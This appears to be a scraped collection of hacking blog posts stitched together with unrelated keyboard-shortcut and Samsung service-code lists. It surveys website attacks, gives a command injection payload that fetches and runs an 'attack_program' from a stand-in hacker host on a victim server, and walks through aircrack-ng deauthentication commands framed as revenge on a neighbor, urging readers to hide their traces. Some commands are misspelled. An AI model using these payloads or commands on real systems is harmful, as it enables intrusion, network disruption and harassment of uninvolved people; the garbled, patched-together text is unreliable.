hello friends , today i will
explain all the methods that are being used to hack a website or
websites database. This is the first part of the hacking websites
tutorial where i will explain in brief all methods for hacking or
defacing websites. Today I will give you the overview and in later tutorials we will discuss them one by one with practical examples.
So guys get ready for first part of
Hacking websites class…. Don’t worry i will also tell you how to protect
your websites from these attacks and other methods like hardening of
SQL and hardening of web servers and key knowledge about CHMOD rights
that what thing should be give what rights…
Note : This post is only for Educational Purpose only.
What are basic things youshould know before website hacking?
First of all everything is optional as i will start from very scratch. But you need atleast basic knowledgeof following things..
1. Basics of HTML, SQL, PHP.
2. Basic knowledge of Javascript.
3. Basic knowledge of servers that how servers work.
4. And most important expertize in removing traces otherwise u have to suffer consequences.
Now First two things you canlearnfrom a very famous website for basics of Website design with basics of HTML,SQL,PHP and javascript.
http://www.w3schools.com/
And for thefourth point that you should be expert in removing traces. I will explain this in myfuturearticles.
So keep reading.. or simply subscribe my posts..As we know traces are
very important. Please don’t ignore them otherwise you can be in big
trouble for simply doing nothing. so please take care of this step.
METHODS OF HACKING WEBSITE:
1. SQL INJECTION
2. CROSS SITE SCRIPTING
3. REMOTE FILE INCLUSION
4. LOCAL FILE INCLUSION
5. DDOS ATTACK
6. EXPLOITING VULNERABILITY.
1. SQL INJECTION
First of all what is SQL injection? SQL injection is a type of
security exploit or loophole in which a attacker “injects” SQL code
through a web form or manipulate the URL’s based on SQL parameters. It
exploits web applications that use client supplied SQL queries.
The primary form of SQL injection consists of direct insertion of code
into user-input variables that are concatenated with SQL commands and
executed. A less direct attack injects malicious code into strings that
are destined for storage in a table or as metadata. When the stored
strings are subsequently concatenated into a dynamic SQL command, the
malicious code is executed.
2. CROSS SITE SCRIPTING
Cross site scripting (XSS) occurs when a user inputs malicious data into a website, which causesthe application to
do something it wasn’t intended to do. XSS attacks are very popular and
some of the biggest websites have been affected by them including the
FBI, CNN, Ebay, Apple, Microsft, and AOL.
Some website features commonly vulnerable to XSS attacks are:
• Search Engines
• Login Forms
• Comment Fields
Cross-site scripting holes are web application vulnerabilities that
allow attackers to bypass client-side security mechanisms normally
imposed on web content by modern browsers. By finding ways of injecting
malicious scripts into web pages, an attacker can gain elevated access
privileges to sensitive page content, session cookies, and a variety of
other information maintained by the browser on behalf of the user.
Cross-site scripting attacks are therefore a special case of code
injection.
I will explain this in detail in later hacking classes. So keep reading.. 3. REMOTE FILE INCLUSION
Remote file inclusion is the most often found vulnerability on the website.
Remote File Inclusion (RFI) occurs when a remote file, usually a shell
(a graphical interface for browsing remote files and running your own
code on a server), is included into a website which allows the hacker to
execute server side commands as the current logged on user, and have
access to files on the server. With this power the hacker can continue
on to use local
exploits to escalate his privileges and take over the whole system.
RFI can lead to following serious things on website :
Www
Cool
HackingTutorials
Professional web design
Code execution on the web server
Code execution on the client-side such as Javascript which can lead to other attacks such as cross site scripting (XSS).
Denial of Service (DoS)
Data Theft/Manipulation
4. LOCAL FILE INCLUSION
Local File Inclusion (LFI) is when you have the ability to browse
through the server by means of directory transversal. One of the most
common uses of LFI is to discover the /etc/passwd file. This file
contains the user information of a Linux system. Hackers find sites
vulnerable to LFI the same way I discussed for RFI’s.
Let’s say a hacker found a vulnerable site,
www.target-site.com/index.php?p=about, by means of directory transversal
he would try to browse to the /etc/passwd file:
I will explain it in detail with practical websites example in latter sequential classes on Website Hacking.
5. DDOS ATTACK
Simply called distributed denial of service attack. A denial-of-service attack (DoS attack) or distributed denial-of-service attack (DDoS attack)
is an attempt to make a computer resource unavailable to its intended
users. Although the means to carry out, motives for, and targets of a
DoS attack may vary, it generally consists of the concerted efforts of a
person or people to prevent an Internet site or service from
functioning efficiently or at all, temporarily or indefinitely. In DDOS
attack we consumes the bandwidth and resources of any website and make
it unavailable to its legitimate users.
6.EXPLOTING VULNERABILITY
Its not a new category it comprises of above five categories but i
mentioned it separately because there are several exploits which cannot
be covered in the above five categories. So i will explain them
individually with examples. The basic idea behind this is that find the
vulnerability in the website and exploit it to get the admin or
moderator privileges so that you can manipulate the things easily. I
hope you all now have a overview of that what is Website Hacking. In
consecutive future classes i will explain all of these techniques in
details. So guys keep reading..
if you have any question then type in comment box.
Hey friends, previously i have explained how to use SQL injection and XPath Injection to hack websites.
Today i will teach you another type of injection technique that if
executed properly can give you complete ownership of victim’s website,
called Command Injection.
When user input is used as a part of system
command, an hacker may inject system commands into the user
input..Ahh..confusing…:P Lets understand in clear and simple words..
What is Command Injection?
Command injection is an attack
method in which we alters the dynamically generated content on a Web
page by entering shell commands into an input mechanism, such as a form
field that lacks effective validation constraints. We can exploit that vulnerability to gain unauthorized access to
data or network resources. When users visit an affected Web page, their
browsers interpret the code, which may cause malicious commands to
execute in the users’ computers and across their networks.
The purpose of the command injection attack
is to inject and execute commands specified by the attacker in the
vulnerable website. In situation like this,the application,
which executes unwanted system commands, is like a pseudo system shell,
and the attacker may use it as any authorized system user. However,
commands are executed with the same privileges and environment as the
application has.
Command injection attacks are possible in most cases because of lack of correct input data validation, which can be manipulated by the attacker (forms, cookies, HTTP headers etc.).
This can happen in any programming language but its very common in
PERL, PHP and shell based CGI. It is less common in Java, Python and C++
..:P i haven’t tried it yet there tried once or twice but not able to do so, that why uncommon..:P.
The above code is an example where user sends his or her email
address in the email parameter, and that user input is directly placed
in the system command. Ahh… loophole…
Now similar to SQL injection or XPath injection, our goal is to inject the shell command into the email parameter but make sure code before and after the email parameter remain syntactically correct otherwise the injection will not execute.
Consider the system( ) call as small jigsaw puzzle game where we arrange different puzzle part to make asingle image. All the parts except one part are on its place, now we have to find the middle part to finish the puzzle.. simple task in game but little tricky in commandinjection. So our objective is something shown below:
mail [missing puzzle part] -s ‘Welcome to HackingLoops’ </tmp/email_body
Note: For the missing puzzle part, we need to ensure that the mail
command runs properly and exits properly basically i want to focus on
syntax, it should be syntactically correct.
For example mail –help will runs and exits properly. Now we can
add other additional shell commands by separating the commands by a semi
colon (;).
We can also comment the missing puzzle part using the shell commenting symbol (#) in front. So we can manipulate the missing puzzle part as below:
Now the adding our missing puzzle part to our original existing shell command, the below shell command is created:
mail –help; wget http://somehackersite.com/attack_program; ./attack_program # s ‘Welcome to HackingLoops’ < /tmp/email_body
This resulting command is equivalent to below command:
mail –help; wget http://somehackersite.com/attack_program; ./attack_program
Now what the above command will do..:P You all guys are just
reading things like novice hackers.. Any Guess…:P ok..let me explain..
The above shell command will runs the mail –help and then
downloads the attack program from somehackersite.com and executes it on
victim, allowing the hacker to perform the arbitrary commands on the
vulnerable website. In most cases provide the complete access to the
root directory..:P
Now do whatever you want to do..
if you have any question then type in comment box.
Have you ever had an annoying neighbor
whose dog barks all night, who has loud parties that keep you awake, or
who calls the cops when you have a loud party? Here’s a simple way to
get even with them without them ever knowing it.
Nearly everyone these days has a Wi-Fi router
set up in their home so they can access the Internet in any room or
nook and cranny within their house. This hack is in the grey area of the
law, probably not illegal, and nearly impossible to detect. What we’re
going to do is simply bump or disconnect our neighbor from their Wi-Fi
connection whenever they connect, driving them crazy and leaving them
without Web access (temporarily)
We’ll need the best Wi-Fi cracking software to do this hack—aircrack-ng—so let’s fire up our BackTrack and get to annoying that annoying neighbor.
What we’ll basically be doing is:
Getting the BSSID of the neighbor’s access point (that’s the MAC of the access point),
Getting your neighbor’s MAC address when they connect to the Wi-Fi AP, and…
Using that MAC address to de-authorize their connection. Actually, with aircrack-ng this is a really simple hack.
Let’s open aircrack-ng in BackTrack by going to BackTrack, Exploitation Tools, Wireless, WLAN Exploitation, and then aircrack-ng.
As you can see below, we have a terminal now
open in aircrack-ng. Let’s first take a look at our wireless card. In
Linux, the first wireless card is designatedwlan0. We can do that by typing:
iwconfig wlan0
As you can see, Linux comes back with some
basic info on the wireless card on our system. The first thing we want
to do is put our wireless card in monitor mode. This allows us to see
and capture all wireless traffic:
airmon-ng start wlan0
Notice that airmon has renamed your wireless device to mon0. This is critical, as your wireless card will now be referenced by this new name.
Now that the wireless card is in monitor mode, we want to see all the wireless access points in range.
airdump-ng mon0
In the screenshot above, we now can see all
the wireless access points in range with all their key information. Our
annoying neighbor, is access point7871.
Note that airodump gives us the BSSID of the
access point, their power, channel, speed, etc. What we need here is the
BSSID. In our case, it’s0a:86:30:74:22:77. We can use
that access point address in the next command. You must use the BSSID of
your annoying neighbor’s access point and the channel they are using.
airodump-ng mon0 –bssid BSSIDaddress –channel 6
This commands connects us to that annoying
neighbor’s access point. We need now for that annoying neighbor to
connect to his access point to get the MAC address of his wireless card.
We then need to spoof his MAC address.
Once the neighbor connects, we can see and
copy his MAC address. Now that we have the MAC address, we can send
de-authorization packets into the access point and disconnect them.
aireplay-ng –deauth 1 -a MACaddress mon0
Now, when your annoying neighbor
connects, you can disconnect them! Those of you with some scripting
skills can write a simple script that would knock him off this Wi-Fi,
say, every 30 seconds to be really annoying, or 30 minutes to be
slightly annoying. If you only do this hack when he does something
particularly annoying, he might begin to believe that the gods are
punishing him for his bad behavior!
thanks for read :)
Want to take advantage of your neighbor’s super fast Wi-Fi
connection? If they’re smart, they probably have it password protected
(otherwise you wouldn’t be reading this, would you?). But if you have an
Android phone, you can get back at them for always parking in your spot
and slamming the door when they get home at 2 a.m.—by stealing…er,
borrowing, their connection.
A group of researchers came up with a hack to get around hardware limitations and add monitor mode to Android devices to allow them to crack Wi-Fi passwords.
Monitor mode lets you see all the traffic going through a network and
how many devices are connected to it, but it can also be used for more
nefarious purposes. If you’re patient enough, you can crack the WEP key
on a network by capturing data packets in monitor mode.
To add monitor mode to an Android device, the researchers reverse
engineered the Broadcom radio chip. They modified the firmware on the
chipsets in the Nexus One and Galaxy S II, which are the same ones used
in the majority of mobile devices. The code is posted on Google Code, but you’ll need to know which chipset you have and download the right one for your phone.
Once you’ve downloaded the code, it’s as simple as extracting the
.zip file, then running the setup and configuration files. They’ve
included instructions for each chipset and a few different devices on their blog, so head over there to find the specifics for yours.
After it’s up and running, check out one of our tutorials to
learn how to use it to crack the key. So, next time your neighbor wants
to borrow your power drill, rest assured that you’re “borrowing”
something much more valuable from them!
Ctrl + S Save current running document file. Ctrl + F Open find window for current document and find words in your document. Ctrl + A Select all. Ctrl + C Copy selected data. Ctrl + P Print current document. Ctrl + End End current document. Ctrl + Right arrow Move one word to the right. Alt + F File menu option in current program. Home Go to beginning of document. Alt + Tab Switch between the open items F1 Use as help key when you press it all help content about running program will open. F1 + Windows Key Open help content of Microsoft Windows. F2 Rename selected file or folder. Ctrl + F2 Display print preview in MS Word. Alt + Ctrl + F2 Open document windows in Ms Word. F3 Repeat last command in command line. Shift + F3 Change text in Ms Word from upper to lower case. F4 Repeat last action performed. Alt + F4 Close current running program. F5 Reload or refresh page in all browser, start slide show in Ms Power point. F6 Cursor will move in address bar in all browser. Ctrl + shift + F6 Go to another opened Ms Word document. F7 Use for spelling checking and grammar in Ms office. F8 Function key to enter Windows set up. F9 Later show all open windows. F10 It is same as right click on selected item. F11 Full screen mode in all browsers. F12 Open the save as window in Ms word. Window Open start menu. Win + D Show desktop. Win + M Minimize current running program. Win + E Open My Computer. Win + F Search for file or folder. Win + L Lock keyboard. Win + R Open run dialogue box. Win + U Open utility manager. Win + Shift + M Restore all minimized Windows -
Mostly we are using mobile phone and we do not know even a single information about it. Telephone Companies also do not give detail information about their sets when any one purchase them.So I decided to give you a list of all Samsung mobile phone codes in detail. These Samsung codes will work on most Samsung mobile phones . Below I am giving Samsung code and for which purpose they are used.
*#9125# Smiley *#9999# Software Version *#06# IMEI Number *#0001# Serial Number *#9998*523# LCD Contrast *#0228# or *#8999*228# Battery Info *#8999*636# Display Storage Capacity *#8999*778# Display SIM Card Information *#8999*782# Show Date And Alarm Clock *#8999*786# The Display During Warning *#8999*837# Samsung Hardware Version *#0523# - *#8999*523# Display Contrast *#8999*638# Show Network Information *#9998*246# Battery Status- Memory Capacity *#9998*324# - *#8999*324# Debug Screen *#9998*842# - *#8999*842# Vibration Test *#9998*289# - *#8999*289# Alarm Beeper - Ringtone Test *#8999*9266# Display Received Channel Number And Received Intensity *#8999*364# Watchdog ON/OFF *#8999*427# WATCHDOG Signal Route Setup *2767*3855# Full Reset (Caution every stored data will be deleted.) *2767*2878# Custom Reset *2767*927# Wap Reset *2767*226372# Camera Reset (deletes photos) *2767*688# Reset Mobile TV #7263867# RAM Dump (On or Off) #*4773# Incremental Redundancy #*7785# Reset wake-up & RTK Timer Variables #*7200# Tone Generator Mute #*3888# BLUETOOTH Test Mode #*7828# Task Screen #*2562# Restarts Phone #*2565# No Blocking? General Defense. #*3353# General Defense, Code Erased. #*3837# Phone Hangs on White screen. #*3849# Restarts Phone #*7337# Restarts Phone (Resets Wap Settings) #*2886# Auto Answer ON/OFF #*7288# GPRS Detached/Attached #*7287# GPRS Attached #*2077# GPRS Switch #*22671# AMR REC START #*22673# Pause REC #*22674# Resume REC #*22675# AMR Playback #*22676# AMR Stop Play #*22677# Pause Play #*22678# Resume Play #*77261# PCM Rec Req #*77262# Stop PCM Rec #*77263# PCM Playback #*77264# PCM Stop Play #*22679# AMR Get Time #*7666# White Screen #*7693# Sleep Deactivate/Activate #*2286# Data Battery #*2679# Copycat Feature Active/Deactivate #*3940# External Loop-Test 9600 bps #*4263# Hands Free Mode Activate/Deactivate #*2558# Time ON #*3941# External Loop-Test 115200 bps #*5176# L1 Sleep #*7462# SIM Phase #*7983# Voltage/Freq #*7986# Voltage #*8466# Old Time #*2255# Call Failed #*5376# Delete All Sms!!!! #*2337# Permanent Registration Beep #*2474# Charging Duration #*2834# Audio Path (Hands-free) #*3270# DCS Support Activate/Deactivate #*3282# Data Activate/Deactivate #*3476# EGSM Activate/Deactivate #*3676# Format Flash Volume!!! #*4760# GSM Activate/Deactivate #*4864# White Screen #*7326# Accessory #*7683# Sleep Variable #*3797# Blinks 3D030300 In RED #*7372# Resetting The Time To DPB Variables *#8999*667# Debug Mode *#92782# Phone Model (Wap) #*5737425# JAVA Mode *#2255# Call List *#232337# Bluetooth MAC Address *#5282837# Java Version *#8999*8376263# All Versions Together *#8999*8378# Test Menu *#4777*8665# GPSR Tool *#8999*523# LCD Brightness *#8999*377# Error LOG Menu *#8999*327# EEP Menu *7465625*228# Active Lock ON #7465625*228# Active Lock OFF *7465625*28638# Auto Network Lock ON #7465625*28638# Auto Network Lock OFF *7465625*28782# Auto Subset Lock ON #7465625*28782# Auto Subset Lock OFF *7465625*2877# Auto SP Lock ON #7465625*2877# Auto SP Lock OFF *7465625*2827# Auto CP Lock ON #7465625*2827# Auto CP Lock OFF *7465625*28746# Auto SIM Lock ON #7465625*28746# Auto SIM Lock OFF *#7465625# Check the phone lock status *7465625*638*Code# Enables Network lock #7465625*638*Code# Disables Network lock *7465625*782*Code# Enables Subset lock #7465625*782*Code# Disables Subset lock *7465625*77*Code# Enables SP lock #7465625*77*Code# Disables SP lock *7465625*27*Code# Enables CP lock #7465625*27*Code# Disables CP lock *7465625*746*Code# Enables SIM lock #7465625*746*Code# Disables SIM lock